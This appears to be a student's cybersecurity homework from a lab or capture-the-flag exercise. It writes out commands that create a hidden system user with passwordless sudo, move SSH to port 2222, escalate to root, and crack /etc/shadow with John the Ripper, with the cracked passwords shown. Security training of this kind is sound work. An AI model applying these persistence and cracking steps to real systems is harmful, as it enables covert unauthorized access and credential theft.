**Week 6 Homework Submission File: Advanced Bash - Owning the System\_Henry Bartechko**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
   * **root:~\ $ sudo adduser --no-create-home sysd**
2. Give your secret user a password:
   * **Enter new UNIX password:** **$alDali**
   * **Retype new UNIX password: $alDali**
   * **passwd: password updated successfully**
3. Give your secret user a system UID < 1000:
   * **root:~\ $ sudo usermod -u 86 sysd**
4. Give your secret user the same GID:
   * **root:~\ $ sudo groupmod -g 86 sysd**
5. Give your secret user full sudo access without the need for a password:
   * **root:~\ $ sudo visudo**
   * **#includedir /etc/sudoers.d**
   * **sysd ALL=(ALL) NOPASSWD:ALL**
6. Test that sudo access works without your password:
   * **sysd@scavenger-hunt:/home/sysadmin$ sudo -l**
   * **Matching Defaults entries for sysd on scavenger-hunt:**
   * **env\_reset, mail\_badpass,**
   * **secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin**
   * **User sysd may run the following commands on scavenger-hunt:**
   * **(ALL) NOPASSWD: ALL**

**Commands using sudo no password needed**

* **sysd@scavenger-hunt:/home/sysadmin$ sudo -k**
* **sysd@scavenger-hunt:/home/sysadmin$ sudo visudo**
* **visudo: /etc/sudoers.tmp unchanged**
* **sysd@scavenger-hunt:/home/sysadmin$ sudo nano /etc/ssh/sshd\_config**
* **sysd@scavenger-hunt:/home/sysadmin$**
* **sysd@scavenger-hunt:/home/sysadmin$ sudo su root**
* **root@scavenger-hunt:/home/sysadmin#**

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:

* **sysd@scavenger-hunt:/etc$ sudo nano /etc/ssh/sshd\_config**
* **#Port 22**
* **port 2222**
* **#AddressFamily any**
* **#ListenAddress 0.0.0.0**
* **#ListenAddress ::**

**Step 3: Testing Your Configuration Update**

* Restart the SSH service:
  + **sysd@scavenger-hunt:/etc$ sudo systemctl restart ssh**
* Exit the root account:
  + **root:~\ $ exit**
  + **exit**
  + **sysadmin:~\ $ exit**
  + **logout**
  + **Connection to 192.168.6.105 closed.**
  + **sysadmin@UbuntuDesktop:~$**
* SSH to the target machine using your sysd account and port 2222:
  + **sysadmin@UbuntuDesktop:~$ ssh sysadmin@192.168.6.105 -p 2222**
* Use sudo to switch to the root user:
  + **sysd@scavenger-hunt:/home/sysadmin$ sudo su root**
  + **You found flag\_7:$1$zmr05X2t$QfOdeJVDpph5pBPpVL6oy0**
  + **root@scavenger-hunt:/home/sysadmin#**

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:
   * **sysadmin@UbuntuDesktop:~$ ssh sysd@192.168.6.105 -p 2222**
   * **sysd@192.168.6.105's password:**
   * **sysd@scavenger-hunt:/$**
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
   * **sysd@scavenger-hunt:/$ sudo su root**
   * **You found flag\_7:$1$zmr05X2t$QfOdeJVDpph5pBPpVL6oy0**
   * **root@scavenger-hunt:/#**
   * **root@scavenger-hunt:/# john /etc/shadow**
   * **Created directory: /root/.john**
   * **Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])**
   * **Press 'q' or Ctrl-C to abort, almost any other key for status**
   * **computer (stallman)**
   * **freedom (babbage)**
   * **trustno1 (mitnik)**
   * **dragon (lovelace)**
   * **lakers (turing)**
   * **passw0rd (sysadmin)**